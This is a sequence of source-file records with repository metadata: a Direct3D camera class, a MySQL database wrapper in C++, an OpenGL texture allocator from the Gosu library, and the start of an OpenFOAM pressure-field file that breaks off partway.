4c35a10ae0b6d60aeff7a15c0c9361522e9c3214
refs/heads/master
2021-01-24T05:35:36.358373
2013-01-22T17:51:08
2013-01-22T17:51:08
null
0
0
null
null
null
null
UTF-8
C++
false
false
5,444
cpp
Camera.cpp
#include "Camera.h" Camera::Camera(HWND g_hWnd, GraphicsEngineParams params) { this->forceBoundries = false; this->g_hWnd = g_hWnd; this->params = params; this->pos = D3DXVECTOR3(0, 0, 0); this->terrain = NULL; this->followTarget = NULL; this->moveOnlyInXZ = false; this->angleX = 0; this->angleY = 0; this->speed = 1.0f; this->sensitivity = 1.0f; this->updateCamera = true; this->activeWindowDisabling = true; D3DXMatrixPerspectiveFovLH(&this->projection, (float)D3DX_PI * this->params.FOV, this->params.windowWidth / (float)this->params.windowHeight, this->params.NearClip, this->params.FarClip); } Camera::~Camera() { } D3DXMATRIX Camera::GetViewMatrix() { D3DXVECTOR3 at = this->pos + this->forward; D3DXMatrixLookAtLH(&view, &this->pos, &at, &this->up); return this->view; } D3DXMATRIX Camera::GetProjectionMatrix() { return this->projection; } Vector3 Camera::GetPosition() { return Vector3(this->pos.x, this->pos.y, this->pos.z); } void Camera::SetPosition(Vector3 pos) { this->pos = D3DXVECTOR3(pos.x, pos.y, pos.z); } Vector3 Camera::GetForward() const { return Vector3(this->forward.x, this->forward.y, this->forward.z); } void Camera::SetForward(Vector3 forward) { this->angleX = -atan2(forward.x * 0 - 1 * forward.z, forward.x * 1 + forward.z * 0); this->angleY = asin(forward.y); this->forward = D3DXVECTOR3(forward.x, forward.y, forward.z); this->forward = this->NormalizeVector(this->forward); } void Camera::LookAt(Vector3 target) { this->forward = D3DXVECTOR3(target.x, target.y, target.z) - this->pos; this->forward = this->NormalizeVector(this->forward); this->angleX = -atan2(this->forward.x*0 - 1*this->forward.z, this->forward.x * 1 + this->forward.z * 0); this->angleY = asin(this->forward.y); } Vector3 Camera::GetUpVector() const { return Vector3(this->up.x, this->up.y, this->up.z); } void Camera::SetUpVector(Vector3 up) { this->up = D3DXVECTOR3(up.x, up.y, up.z); } Vector3 Camera::GetRightVector() const { D3DXVECTOR3 tmp; D3DXVec3Cross(&tmp, &forward, &up); return Vector3(tmp.x, tmp.y, tmp.z); } void Camera::MoveToTerrain() { if(this->terrain) this->pos.y = this->terrain->GetYPositionAt(this->pos.x, this->pos.z) + this->DistanceFromTarget; } void Camera::Move(Vector3 moveBy) { this->pos += D3DXVECTOR3(moveBy.x, moveBy.y, moveBy.z); this->MoveToTerrain(); } D3DXVECTOR3 Camera::NormalizeVector(D3DXVECTOR3 vec) { float length = sqrt(pow(vec.x, 2) + pow(vec.y, 2) + pow(vec.z, 2)); vec.x /= length; vec.y /= length; vec.z /= length; return vec; } void Camera::MoveToFollowPosition() { if(this->followTarget) { Vector3 vec = this->followTarget->GetPosition() - Vector3(0, -15, this->DistanceFromTarget); this->pos = D3DXVECTOR3(vec.x, vec.y, vec.z); } } void Camera::Update(float delta) { if(this->updateCamera) { if(activeWindowDisabling) { if(GetForegroundWindow() == this->g_hWnd) UpdateSpecific(delta); } else { UpdateSpecific(delta); } this->MoveToTerrain(); this->MoveToFollowPosition(); if(this->forceBoundries) { if(this->pos.x < this->minBoundries.x) this->pos.x = this->minBoundries.x; else if(this->pos.x > this->maxBoundries.x) this->pos.x = this->maxBoundries.x; if(this->pos.y < this->minBoundries.y) this->pos.y = this->minBoundries.y; else if(this->pos.y > this->maxBoundries.y) this->pos.y = this->maxBoundries.y; if(this->pos.z < this->minBoundries.z) this->pos.z = this->minBoundries.z; else if(this->pos.z > this->maxBoundries.z) this->pos.z = this->maxBoundries.z; } } } void Camera::SetBoundries(Vector3 minBoundries, Vector3 maxBoundries) { this->minBoundries = D3DXVECTOR3(minBoundries.x, minBoundries.y, minBoundries.z); this->maxBoundries = D3DXVECTOR3(maxBoundries.x, maxBoundries.y, maxBoundries.z); this->forceBoundries = true; } void Camera::DisableBoundries() { this->forceBoundries = false; } void Camera::FollowMesh( iMesh* target ) { this->followTarget = dynamic_cast<Mesh*>(target); } void Camera::RecreateProjectionMatrix() { D3DXMatrixPerspectiveFovLH(&this->projection, (float)D3DX_PI * this->params.FOV, this->params.windowWidth / (float)this->params.windowHeight, this->params.NearClip, this->params.FarClip); } D3DXVECTOR3 Camera::GetRightVectorD3DX() const { Vector3 right = this->GetRightVector(); return D3DXVECTOR3(right.x, right.y, right.z); } Vector3 Camera::Get3DPickingRay() { Vector3 v; POINT p; if(GetCursorPos(&p)) { if(ScreenToClient(this->g_hWnd, &p)) { v.x = (((2.0f * p.x) / this->params.windowWidth) - 1) / this->GetProjectionMatrix()._11; v.y = -(((2.0f * p.y) / this->params.windowHeight) - 1) / this->GetProjectionMatrix()._22; v.z = 1.0f; D3DXMATRIX m; D3DXVECTOR3 rayOrigin,rayDir; D3DXMatrixInverse(&m, NULL, &this->GetViewMatrix()); // Transform the screen space pick ray into 3D space rayDir.x = v.x * m._11 + v.y * m._21 + v.z * m._31; rayDir.y = v.x * m._12 + v.y * m._22 + v.z * m._32; rayDir.z = v.x * m._13 + v.y * m._23 + v.z * m._33; rayOrigin.x = m._41; rayOrigin.y = m._42; rayOrigin.z = m._43; rayDir = this->NormalizeVector(rayDir); v.x = rayDir.x; v.y = rayDir.y; v.z = rayDir.z; } else MaloW::Debug("Get3DPickingRay failed."); } else MaloW::Debug("Get3DPickingRay failed."); return v; } void Camera::MoveOnlyInXZ( bool DoItOrNotThatIsTheQuestion ) { this->moveOnlyInXZ = true; }
d29344d3c254c8039610bdd5b45e396bde2b947e
ab189df4ab3389184422ffdc8193dc6f4477a646
/taccCore/ADB.cpp
49074f417bce768bbf6941ab5bdfa1c49e68d131
[]
no_license
gottafixthat/tacc
cfe10b2db0436afbec528c44cd1b3eeb44117675
da5bb6393ae02a6b4f99bdb1b05de92b60e722d6
refs/heads/master
2021-01-25T04:02:28.248364
2015-09-04T22:49:25
2015-09-04T22:49:25
41,939,578
0
0
null
null
null
null
UTF-8
C++
false
false
13,330
cpp
ADB.cpp
/* Total Accountability Customer Care (TACC) * * Written by R. Marc Lewis * (C)opyright 1997-2009, R. Marc Lewis and Avvatel Corporation * All Rights Reserved * * Unpublished work. No portion of this file may be reproduced in whole * or in part by any means, electronic or otherwise, without the express * written consent of Avvatel Corporation and R. Marc Lewis. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdarg.h> #include <ctype.h> #include <ADB.h> #include <mysql/mysql.h> #include <syslog.h> #ifdef USEDES #include "bdes.h" #endif // The global database connection information. Used by all classes if // the information is not specified in the class declaration. static char *OGHost = NULL; static char *OGDBase = NULL; static char *OGUser = NULL; static char *OGPass = NULL; static int ADBDebug = 0; static int ADBRetry = 1; static bool ADBUseSyslog = true; static bool ADBUseStdErr = true; static bool ADBLogUpdates = false; static bool ADBEmptyDatesAsNULL = false; /* ** ADBLogMsg - Logs a message from one of the database modules. ** Will determine where to send the message and then send it. */ void ADBLogMsg(int priority, const char *format, ... ) { // Make the query string from the variable arguments... va_list ap; va_start(ap, format); char *outstr = new char[265536]; vsprintf(outstr, format, ap); if (ADBUseSyslog) { syslog(priority, "%s", outstr); } if (ADBUseStdErr) { fprintf(stderr, "%s\n", outstr); fflush(stderr); } delete outstr; } /* ** ADBDebugMsg - Logs a message from one of the database modules. ** Will determine where to send the message and then send it. */ void ADBDebugMsg(int level, const char *format, ... ) { // Make the query string from the variable arguments... va_list ap; va_start(ap, format); char *outstr = new char[265536]; vsprintf(outstr, format, ap); if (ADBDebug >= level) { ADBLogMsg(LOG_DEBUG, outstr); } delete outstr; } ADB::ADB( const char *Name, const char *User, const char *Pass, const char *Host ) { // Set the debug level debugLevel = ADBDebug; curRow.setDebugLevel(debugLevel); curRow.setZeroDatesAsNULL(ADBEmptyDatesAsNULL); // Setup the DBHost value, based on passed in arguments or global settings. if (Host == NULL) { if (OGHost == NULL) { ADBLogMsg(LOG_CRIT, "ADB::ADB() - No database host specified!"); exit(-1); } else { DBHost = new char[strlen(OGHost)+2]; strcpy(DBHost, OGHost); } } else { DBHost = new char[strlen(Host)+2]; strcpy(DBHost, Host); } // Setup the DBName value, based on passed in arguments or global settings. if (Name == NULL) { if (OGDBase == NULL) { ADBLogMsg(LOG_CRIT, "ADB::ADB() - No database name specified!"); exit(-1); } else { DBName = new char[strlen(OGDBase)+2]; strcpy(DBName, OGDBase); } } else { DBName = new char[strlen(Name)+2]; strcpy(DBName, Name); } // Setup the DBUser value, based on passed in arguments or global settings. if (User == NULL) { if (OGUser == NULL) { ADBLogMsg(LOG_CRIT, "ADB::ADB() - No user name specified!"); exit(-1); } else { DBUser = new char[strlen(OGUser)+2]; strcpy(DBUser, OGUser); } } else { DBUser = new char[strlen(User)+2]; strcpy(DBUser, User); } // Setup the DBUser value, based on passed in arguments or global settings. if (Pass == NULL) { if (OGPass == NULL) { ADBLogMsg(LOG_ERR, "ADB::ADB() - No database password specified!"); // exit(-1); } else { DBPass = new char[strlen(OGPass)+2]; strcpy(DBPass, OGPass); } } else { DBPass = new char[strlen(Pass)+2]; strcpy(DBPass, Pass); } // Initialize the MySQL structure mysql_init(&MyConn); int tryNo = 0; while (tryNo < ADBRetry) { connected = 0; ADBDebugMsg(1, "ADB: Connecting to %s as %s, pw %s...", DBHost, DBUser, DBPass); if (!(MySock = mysql_real_connect(&MyConn, DBHost, DBUser, DBPass, NULL,0,NULL,0))) { ADBLogMsg(LOG_ERR, "ADB: Unable to connect to the database server on %s as %s.", DBHost, DBUser); // exit(-1); } else { // Connect to the requested datase now. ADBDebugMsg(1, "ADB: Selecting database '%s'...", DBName); if (mysql_select_db(MySock, DBName) == -1) { ADBLogMsg(LOG_ERR, "ADB: Unable to connect to database '%s'", DBName); // exit(-1); } else { connected = 1; tryNo = ADBRetry + 1; } } if (tryNo < ADBRetry) { tryNo++; sleep(tryNo); // Sleep for tryNo seconds before trying again // To add a bit of time in case the host thought // we were synflooding, or to give the host we // are on to get past any possible blocked ports. } } // connected = 1; // Set our initial pointers to NULL queryRes = NULL; // Setup our escape string so we can free() it safely. escWorkStr = (char *) calloc(16, sizeof(char)); } // Destrcutor. Doesn't need to do anything right now, as it should delete // itself... ADB::~ADB() { ADBDebugMsg(7, "ADB: Freeing query results..."); // Free the last query result if it exists... if (queryRes != NULL) { mysql_free_result(queryRes); } ADBDebugMsg(7, "ADB: closing MySQL socket..."); if (connected) { // And disconnect from the database. mysql_close(MySock); } // Free our escape work string. ADBDebugMsg(7, "ADB: freeing escWorkStr..."); free(escWorkStr); } const char *ADB::defaultHost() { if (!OGHost) return ""; else return OGHost; } /* ** setDefaultHost - If the user doesn't specify a host name when creating ** the DB Object, the ADB Global Host will be used instead. ** This function sets that host name. */ void ADB::setDefaultHost(const char *GlobHost) { if ((GlobHost) && strlen(GlobHost)) { if (OGHost != NULL) delete OGHost; OGHost = new char[strlen(GlobHost)+2]; strcpy(OGHost, GlobHost); } else { ADBLogMsg(LOG_ERR, "ADB::setDefaultHost() - Unable to set default host to NULL"); } } const char *ADB::defaultDBase() { if (!OGDBase) return ""; else return OGDBase; } /* ** setDefaultDBase - If the user doesn't specify a database name when creating ** the DB Object, the ADB Global Database will be used instead. ** This function sets that database name. */ void ADB::setDefaultDBase(const char *GlobDBase) { if ((GlobDBase) && strlen(GlobDBase)) { if (OGDBase != NULL) delete OGDBase; OGDBase = new char[strlen(GlobDBase)+2]; strcpy(OGDBase, GlobDBase); } else { ADBLogMsg(LOG_ERR, "ADB::setDefaultDBase() - Unable to set default database name to NULL"); } } const char *ADB::defaultUser() { if (!OGUser) return ""; else return OGUser; } /* ** setDefaultUser - If the user doesn't specify a user name when creating ** the DB Object, the ADB Global User will be used instead. ** This function sets that user name. */ void ADB::setDefaultUser(const char *GlobUser) { if ((GlobUser) && strlen(GlobUser)) { if (OGUser != NULL) delete OGUser; OGUser = new char[strlen(GlobUser)+2]; strcpy(OGUser, GlobUser); } else { ADBLogMsg(LOG_ERR, "ADB::setDefaultUser() - Unable to set default user name to NULL"); } } const char *ADB::defaultPass() { if (!OGPass) return ""; else return OGPass; } /* ** setDefaultPass - If the user doesn't specify a password when creating ** the DB Object, the ADB Global Password will be used instead. ** This function sets that password. */ void ADB::setDefaultPass(const char *GlobPass) { if ((GlobPass) && strlen(GlobPass)) { if (OGPass != NULL) delete OGPass; OGPass = new char[strlen(GlobPass)+2]; strcpy(OGPass, GlobPass); } else { ADBLogMsg(LOG_ERR, "ADB::setDefaultPass() - Unable to set default password to NULL"); } } /* ** setDebugLevel - Sets the debug level for the database */ void ADB::setDebugLevel(int newDebugLevel) { ADBDebug = newDebugLevel; } /* ** useSyslog - Determines whether or not we will be logging to syslog. */ void ADB::useSyslog(bool newVal) { ADBUseSyslog = newVal; } /* ** recordUpdates - Determines whether or not we send a message to syslog when ** issuing a command that will modify the database. */ void ADB::recordUpdates(bool newVal) { ADBLogUpdates = newVal; } /* ** returnEmptyDatesAsNULL - Determines whether we will return '0' dates ** as '0000-00-00' or as ''. */ void ADB::returnEmptyDatesAsNULL(bool newVal) { ADBEmptyDatesAsNULL = newVal; } /* ** Connected - Returns 0 if we are not connected, 1 if we are. */ int ADB::Connected(void) { return connected; } // query - Do a query on the database we're connected to. int ADB::query(const char *format, ... ) { // Make the query string from the variable arguments... int retVal = 0; va_list ap; va_start(ap, format); char *querystr = new char[265536]; vsprintf(querystr, format, ap); rowCount = 0; if (!Connected()) { // Make sure that rowCount is also zero return retVal; } // Free the last query result. if (queryRes != NULL) { mysql_free_result(queryRes); } // Clear our current row... curRow.clearRow(); ADBDebugMsg(2, "ADB: Performing query '%s'", querystr); // Do the query. if (mysql_query(MySock, querystr) || !(queryRes = mysql_store_result(MySock))) { ADBLogMsg(LOG_ERR, "ADB: MySQL error on query. Query: '%s', Error: '%s'", querystr, mysql_error(MySock)); // exit(-1); } else { rowCount = mysql_num_rows(queryRes); ADBDebugMsg(1, "ADB: query returned %ld rows.", rowCount); retVal = 1; } delete querystr; return retVal; } /* ** sumFloat - Do a query on the database which will return a "SUM()". ** This is seperate because of the way that the new MySQL ** versions process them. If no matching records are found, ** it returns NULL instead of 0.00. */ float ADB::sumFloat(const char *format, ... ) { // Make the query string from the variable arguments... va_list ap; va_start(ap, format); char *querystr = new char[265536]; vsprintf(querystr, format, ap); // Free the last query result. if (queryRes != NULL) { mysql_free_result(queryRes); } // Do the query. if (mysql_query(MySock, querystr) || !(queryRes = mysql_store_result(MySock))) { ADBLogMsg(LOG_ERR, "ADB: MySQL error on query. Query: '%s', Error: '%s'", querystr, mysql_error(MySock)); // exit(-1); } else { rowCount = mysql_num_rows(queryRes); ADBDebugMsg(1, "ADB: query returned %ld rows.", rowCount); } delete querystr; float RetVal = 0.00; getrow(); if ((curRow[0]) && strlen(curRow[0])) { RetVal = atof(curRow[0]); } return RetVal; } // getrow - Loads a row from the database into memory. int ADB::getrow(void) { if (!connected) return 0; int RetVal = curRow.loadRow(queryRes); ADBDebugMsg(1, "ADB::getrow() returning %d", RetVal); return RetVal; } // dbcmd - Execute a command on the database we're connected to. long ADB::dbcmd(const char *format, ... ) { // Make the query string from the variable arguments... va_list ap; va_start(ap, format); char *cmdstr = new char[265536]; vsprintf(cmdstr, format, ap); ADBDebugMsg(1, "ADB: command = '%s'", cmdstr); long Ret = 0; if (!connected) return Ret; // Do the command if (ADBLogUpdates) syslog(LOG_DEBUG, "ADB::dbcmd[%s]: %s", DBUser, cmdstr); mysql_query(MySock, cmdstr); Ret = mysql_insert_id(MySock); if (Ret < 0) { ADBLogMsg(LOG_ERR, "ADB: MySQL error on command. Command: '%s', Error: '%s'", cmdstr, mysql_error(MySock)); } ADBDebugMsg(1, "ADB: command returning value %ld", Ret); delete cmdstr; return(Ret); } /* ** escapeString - An interface into the MySQL escape_string function. */ const char *ADB::escapeString(const char *src, int truncLen) { int tmpLen = 50; if ((src) && strlen(src)) tmpLen = strlen(src); free(escWorkStr); escWorkStr = (char *) calloc((tmpLen+1) * 2, sizeof(char)); if (truncLen < tmpLen) tmpLen = truncLen; if (src) mysql_escape_string(escWorkStr, src, tmpLen); return escWorkStr; } // vim: expandtab
55d1dd8ec0a8dd7e1561fc1667cde53984d1bd33
ba200ae9f30b89d1e32aee6a6e5ef2c991cee157
/trunk/GosuImpl/Graphics/Texture.cpp
6cce16cae948b009b4d27870dca55c2c0fbb9746
[ "MIT" ]
permissive
clebertavares/gosu
1d5fd08d22825d18f2840dfe1c53c96f700b665f
e534e0454648a4ef16c7934d3b59b80ac9ec7a44
refs/heads/master
2020-04-08T15:36:38.697104
2010-02-20T16:57:25
2010-02-20T16:57:25
537,484
1
0
null
null
null
null
UTF-8
C++
false
false
4,018
cpp
Texture.cpp
#include <Gosu/Graphics.hpp> #include <GosuImpl/Graphics/Texture.hpp> #include <GosuImpl/Graphics/TexChunk.hpp> #include <Gosu/Bitmap.hpp> #include <Gosu/Platform.hpp> #include <stdexcept> #ifndef GL_BGRA #define GL_BGRA 0x80E1 #endif // TODO: Not threadsafe. unsigned Gosu::Texture::maxTextureSize() { #if defined(GOSU_IS_MAC) // Includes the iPhone return 1024; #else const static unsigned MIN_SIZE = 256, MAX_SIZE = 1024; static unsigned size = 0; if (size == 0) { size = MIN_SIZE / 2; GLint width = 1; do { size *= 2; glTexImage2D(GL_PROXY_TEXTURE_2D, 0, 4, size * 2, size * 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, 0); glGetTexLevelParameteriv(GL_PROXY_TEXTURE_2D, 0, GL_TEXTURE_WIDTH, &width); } while (width != 0 && size < MAX_SIZE); } return size; #endif } //const unsigned Gosu::MAX_TEXTURE_SIZE = Gosu::Texture::maxTextureSize(); Gosu::Texture::Texture(unsigned size) : allocator(size, size), num(0) { // Create texture name. glGenTextures(1, &name); if (name == static_cast<GLuint>(-1)) throw std::runtime_error("Couldn't create OpenGL texture"); // Create empty texture. glBindTexture(GL_TEXTURE_2D, name); #ifdef GOSU_IS_IPHONE glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, allocator.width(), allocator.height(), 0, GL_RGBA, GL_UNSIGNED_BYTE, 0); #else glTexImage2D(GL_TEXTURE_2D, 0, 4, allocator.width(), allocator.height(), 0, GL_RGBA, GL_UNSIGNED_BYTE, 0); #endif glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); #ifdef GOSU_IS_WIN glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP); #else glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); #endif } Gosu::Texture::~Texture() { glDeleteTextures(1, &name); } unsigned Gosu::Texture::size() const { return allocator.width(); // == height } GLuint Gosu::Texture::texName() const { return name; } std::auto_ptr<Gosu::TexChunk> Gosu::Texture::tryAlloc(Graphics& graphics, DrawOpQueueStack& queues, boost::shared_ptr<Texture> ptr, const Bitmap& bmp, unsigned srcX, unsigned srcY, unsigned srcWidth, unsigned srcHeight, unsigned padding) { std::auto_ptr<Gosu::TexChunk> result; boost::optional<BlockAllocator::Block> block = allocator.alloc(srcWidth, srcHeight); if (!block) return result; result.reset(new TexChunk(graphics, queues, ptr, block->left + padding, block->top + padding, block->width - 2 * padding, block->height - 2 * padding, padding)); #if defined(__BIG_ENDIAN__) std::vector<unsigned> pixelData(srcWidth * srcHeight); for (unsigned y = 0; y < srcHeight; ++y) for (unsigned x = 0; x < srcWidth; ++x) { boost::uint32_t pixVal = (bmp.getPixel(x, y).argb() & 0x00ffffff) << 8 | bmp.getPixel(x, y).alpha(); pixVal = bigToNative(pixVal); pixelData[y * srcWidth + x] = pixVal; } const unsigned* texData = &pixelData[0]; unsigned format = GL_RGBA; #elif defined(GOSU_IS_IPHONE) std::vector<unsigned> pixelData(srcWidth * srcHeight); for (unsigned y = 0; y < srcHeight; ++y) for (unsigned x = 0; x < srcWidth; ++x) pixelData[y * srcWidth + x] = bmp.getPixel(x, y).abgr(); const unsigned* texData = &pixelData[0]; unsigned format = GL_RGBA; #else const unsigned* texData = bmp.data(); unsigned format = GL_BGRA; #endif glBindTexture(GL_TEXTURE_2D, name); glTexSubImage2D(GL_TEXTURE_2D, 0, block->left, block->top, block->width, block->height, format, GL_UNSIGNED_BYTE, texData); num += 1; return result; } void Gosu::Texture::free(unsigned x, unsigned y) { allocator.free(x, y); num -= 1; }
2dad268b0b759d63adf1a7f9135eb5d079c5b98a
4352b5c9e6719d762e6a80e7a7799630d819bca3
/tutorials/eulerVortex.twitch/eulerVortex.cyclic.twitch.test.test/processor0/2.9/p
bb5fe425c8e82445b691de0b9ce292bbe2bc2650
[]
no_license
dashqua/epicProject
d6214b57c545110d08ad053e68bc095f1d4dc725
54afca50a61c20c541ef43e3d96408ef72f0bcbc
refs/heads/master
2022-02-28T17:20:20.291864
2019-10-28T13:33:16
2019-10-28T13:33:16
184,294,390
1
0
null
null
null
null
UTF-8
C++
false
false
22,577
p
/*--------------------------------*- C++ -*----------------------------------*\ ========= | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox \\ / O peration | Website: https://openfoam.org \\ / A nd | Version: 6 \\/ M anipulation | \*---------------------------------------------------------------------------*/ FoamFile { version 2.0; format ascii; class volScalarField; location "2.9"; object p; } // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // dimensions [1 -1 -2 0 0 0 0]; internalField nonuniform List<scalar> 5625 ( 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 0.999999 0.999999 0.999998 0.999996 0.999996 0.999991 0.999987 0.999982 0.999973 0.999963 0.999949 0.999933 0.99992 0.999909 0.999908 0.999936 1.00001 1.00017 1.00048 1.00101 1.00188 1.00325 1.00529 1.00822 1.01224 1.01744 1.0237 1.0305 1.03693 1.04183 1.0442 1.04356 1.03996 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 0.999999 1 0.999999 0.999999 0.999996 0.999995 0.999992 0.999987 0.999982 0.999973 0.999963 0.99995 0.999932 0.999918 0.999904 0.9999 0.99992 0.999977 1.00012 1.00038 1.00084 1.00161 1.00283 1.00467 1.00732 1.011 1.01584 1.02179 1.02846 1.03506 1.04051 1.04377 1.04419 1.04168 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 0.999997 0.999999 0.999997 0.999994 0.999993 0.999987 0.999983 0.999974 0.999963 0.999951 0.999934 0.999917 0.999903 0.999892 0.999905 0.999951 1.00006 1.00029 1.00069 1.00136 1.00243 1.00406 1.00645 1.00978 1.01423 1.01981 1.02626 1.03294 1.03885 1.04293 1.04442 1.04307 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999998 0.999998 0.999997 0.999995 0.999992 0.999988 0.999983 0.999975 0.999965 0.999951 0.999936 0.999917 0.999902 0.999889 0.999893 0.99993 1.00002 1.00021 1.00055 1.00113 1.00206 1.00349 1.00561 1.0086 1.01264 1.01782 1.02396 1.03058 1.03683 1.04166 1.04419 1.04403 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 1 1 0.999999 0.999998 0.999997 0.999995 0.999992 0.999989 0.999983 0.999975 0.999966 0.999955 0.999935 0.999921 0.999901 0.999887 0.999885 0.999908 0.999981 1.00013 1.00042 1.00091 1.00172 1.00297 1.00482 1.00747 1.0111 1.01583 1.02159 1.02805 1.03448 1.03992 1.04344 1.04448 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 0.999999 0.999999 0.999996 0.999996 0.999993 0.99999 0.999984 0.999977 0.999966 0.999957 0.999939 0.999921 0.999906 0.999886 0.99988 0.999894 0.999948 1.00007 1.00031 1.00073 1.00141 1.00248 1.0041 1.00641 1.00963 1.01389 1.01921 1.02538 1.03184 1.03773 1.04213 1.04433 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 0.999998 0.999999 0.999997 0.999996 0.999993 0.99999 0.999986 0.999979 0.999969 0.999958 0.999943 0.999925 0.999906 0.999889 0.999877 0.999884 0.999922 1.00002 1.00021 1.00056 1.00114 1.00205 1.00343 1.00544 1.00826 1.01204 1.01687 1.02264 1.02897 1.03513 1.04024 1.04353 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 0.999999 1 0.999998 0.999999 0.999998 0.999995 0.999995 0.99999 0.999986 0.99998 0.999971 0.99996 0.999947 0.99993 0.999908 0.999894 0.999878 0.999878 0.999905 0.999977 1.00013 1.00042 1.00089 1.00166 1.00283 1.00455 1.00699 1.0103 1.01461 1.0199 1.02595 1.03218 1.03781 1.04203 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 0.999999 0.999998 0.999997 0.999994 0.999991 0.999988 0.999982 0.999974 0.999963 0.999948 0.999935 0.999915 0.999895 0.999883 0.999875 0.99989 0.999945 1.00007 1.00029 1.00069 1.00132 1.0023 1.00376 1.00584 1.0087 1.01248 1.01724 1.02287 1.02897 1.03489 1.03985 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 0.999999 1 0.999999 1 0.999999 0.999997 0.999998 0.999994 0.999993 0.999987 0.999983 0.999977 0.999966 0.999953 0.999938 0.999922 0.999901 0.999884 0.999877 0.999881 0.999921 1.00001 1.00019 1.00051 1.00103 1.00185 1.00306 1.00482 1.00726 1.01053 1.01472 1.01983 1.02561 1.03158 1.03704 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999996 0.999997 0.999997 0.999992 0.999991 0.999985 0.999976 0.999971 0.999957 0.999943 0.999927 0.999909 0.99989 0.99988 0.999878 0.999903 0.999975 1.00011 1.00036 1.00079 1.00145 1.00246 1.00392 1.00597 1.00876 1.01239 1.01692 1.02223 1.02801 1.0337 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 0.999998 0.999998 0.999995 0.999994 0.999991 0.999986 0.99998 0.999972 0.999962 0.999948 0.999931 0.999916 0.999898 0.999881 0.999882 0.999893 0.999939 1.00005 1.00025 1.00058 1.00112 1.00194 1.00315 1.00485 1.00719 1.01028 1.01422 1.01896 1.02435 1.03 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 0.999999 1 0.999998 0.999998 0.999998 0.999994 0.999992 0.999989 0.999982 0.999975 0.999965 0.999953 0.99994 0.99992 0.999906 0.999891 0.999881 0.999889 0.999921 1 1.00015 1.00041 1.00085 1.00151 1.00248 1.00389 1.00583 1.00842 1.01177 1.01591 1.02077 1.02612 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 0.999999 1 1 0.999998 0.999999 0.999995 0.999996 0.999994 0.999988 0.999985 0.999977 0.999969 0.999958 0.999945 0.999931 0.999913 0.999898 0.999887 0.999888 0.999909 0.999967 1.00008 1.00029 1.00062 1.00115 1.00194 1.00307 1.00466 1.0068 1.0096 1.01314 1.0174 1.02226 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 1 0.999999 0.999999 0.999998 0.999997 0.999996 0.999994 0.99999 0.999986 0.999981 0.999972 0.999962 0.999952 0.999937 0.99992 0.999908 0.999894 0.999891 0.999903 0.999943 1.00003 1.00018 1.00044 1.00086 1.00148 1.00239 1.00367 1.00542 1.00773 1.01068 1.01432 1.0186 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999997 1 0.999997 0.999997 0.999995 0.999991 0.999988 0.999983 0.999977 0.999966 0.999958 0.999944 0.999931 0.999915 0.999904 0.999897 0.999901 0.999927 0.99999 1.00011 1.00031 1.00062 1.00112 1.00184 1.00286 1.00426 1.00614 1.00857 1.01161 1.01527 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999998 